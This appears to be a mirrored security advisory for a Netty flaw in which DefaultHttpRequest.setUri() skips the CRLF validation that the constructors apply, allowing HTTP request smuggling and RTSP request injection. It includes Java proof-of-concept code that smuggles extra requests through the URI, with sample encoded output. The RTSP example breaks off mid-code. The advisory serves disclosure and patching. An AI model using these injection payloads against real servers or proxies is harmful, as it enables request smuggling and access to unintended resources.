DefaultHttpRequest.setUri() · Netty: Start-Line Injection

### Summary Netty allows request-line validation to be bypassed when a `DefaultHttpRequest` or `DefaultFullHttpRequest` is created first and its URI is later changed via `setUri()`. The constructors reject CRLF and whitespace characters that would break the start-line, but `setUri()` does not apply the same validation. `HttpRequestEncoder` and `RtspEncoder` then write the URI into the request line verbatim. If attacker-controlled input reaches `setUri()`, this enables CRLF injection and insertion of additional HTTP or RTSP requests. In practice, this leads to HTTP request smuggling / desynchronization on the HTTP side and request injection on the RTSP side. ### Details The root issue is that URI validation exists only on the constructor path, but not on the public setter path. - `io.netty.handler.codec.http.DefaultHttpRequest` - The constructor calls `HttpUtil.validateRequestLineTokens(method, uri)` - `setUri(String uri)` only performs `checkNotNull` and does not validate - `io.netty.handler.codec.http.DefaultFullHttpRequest` - `setUri(String uri)` delegates to the parent implementation - `io.netty.handler.codec.http.HttpRequestEncoder` - Writes `request.uri()` directly into the request line - `io.netty.handler.codec.rtsp.RtspEncoder` - Writes `request.uri()` directly into the request line This creates the following bypass: 1. An application creates a `DefaultHttpRequest` or `DefaultFullHttpRequest` with a safe URI 2. Later, attacker-influenced input is passed into `setUri()` 3. `HttpRequestEncoder` or `RtspEncoder` encodes that value verbatim 4. The downstream server, proxy, or RTSP peer interprets the injected bytes after CRLF as separate requests This appears to be an incomplete fix pattern where start-line validation exists, but can still be bypassed through a mutable public API. ### PoC (HTTP) The following code first creates a normal request object and then injects a malicious request line using `setUri()`. ```java import io.netty.buffer.ByteBuf; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.http.DefaultHttpRequest; import io.netty.handler.codec.http.HttpMethod; import io.netty.handler.codec.http.HttpRequestEncoder; import io.netty.handler.codec.http.HttpServerCodec; import io.netty.handler.codec.http.HttpVersion; import io.netty.util.CharsetUtil; public final class HttpSetUriSmugglePoc { public static void main(String[] args) { EmbeddedChannel client = new EmbeddedChannel(new HttpRequestEncoder()); EmbeddedChannel server = new EmbeddedChannel(new HttpServerCodec()); DefaultHttpRequest request = new DefaultHttpRequest( HttpVersion.HTTP_1_1, HttpMethod.GET, "/safe"); request.setUri("/s1 HTTP/1.1\r\n" + "\r\n" + "POST /s2 HTTP/1.1\r\n" + "content-length: 11\r\n\r\n" + "Hello World" + "GET /s1"); client.writeOutbound(request); ByteBuf outbound = client.readOutbound(); System.out.println("=== Raw encoded request ==="); System.out.println(outbound.toString(CharsetUtil.US_ASCII)); System.out.println("=== Decoded by HttpServerCodec ==="); server.writeInbound(outbound.retainedDuplicate()); Object msg; while ((msg = server.readInbound()) != null) { System.out.println(msg); } outbound.release(); client.finishAndReleaseAll(); server.finishAndReleaseAll(); } } ``` When reproduced, the raw encoded request looks like this: ```http GET /s1 HTTP/1.1 POST /s2 HTTP/1.1 content-length: 11 Hello WorldGET /s1 HTTP/1.1 ``` `HttpServerCodec` then parses this as multiple HTTP messages rather than a single request: - `GET /s1` - `POST /s2` with body `Hello World` - trailing `GET /s1` This confirms that the value supplied through `setUri()` is interpreted on the wire as additional requests. ### PoC (RTSP) The same root cause also affects `RtspEncoder`. A minimal reproduction is shown below. ```java import io.netty.buffer.ByteBuf; import io.netty.channel.embedded.EmbeddedChannel; import io.netty.handler.codec.http.DefaultHttpRequest; import io.netty.handler.codec.rtsp.RtspDecoder; import io.netty.handler.codec.rtsp.RtspEncoder; import io.netty.handler.codec.rtsp.RtspMethods; import io.netty.handler.codec.rtsp.RtspVersions; import io.netty.util.CharsetUtil; public final class RtspSetUriSmugglePoc { public static void main(String[] args) { EmbeddedChannel client = new EmbeddedChannel(new RtspEncoder()); EmbeddedChannel server = new EmbeddedChannel(new RtspDecoder()); DefaultHttpRequest request = new DefaultHttpRequest( RtspVersions.RTSP_1_0, RtspMethods.OPTIONS, "rtsp://safe/media"); request.setUri("rtsp://cam/stream RTSP/1.0\r\n" + "CSeq: 1\r\n\r\n" + "DESCRIBE rtsp://cam/secret RTSP/1.0\r\n" + "CSeq: 2\r\n\r\n" +

• github.com/netty/netty/security/advisories/GHSA-v8h7-rr48-vmmv (opens in a new tab)
• nvd.nist.gov/vuln/detail/CVE-2026-41417 (opens in a new tab)
• github.com/netty/netty (opens in a new tab)

• CVE-2026-59898: Netty · WebSockets V07/V08 handshaker missing Connection/Upgrade validationMediumVulnerability2026-07-22
• CVE-2026-59921: CRLF Injection via Multipart Filename in Netty HttpPostRequestEncoderMediumVulnerability2026-07-22
• Red Hat Security Advisory: Red Hat build of Debezium 3.6.3 releaseHighVulnerability2026-10-15
• Red Hat Security Advisory: Red Hat Update Infrastructure 5.3 Technology Preview security updateCriticalVulnerability2026-08-24
• Red Hat Security Advisory: Red Hat Ansible Automation Platform 2.6 Container Release UpdateCriticalVulnerability2026-10-21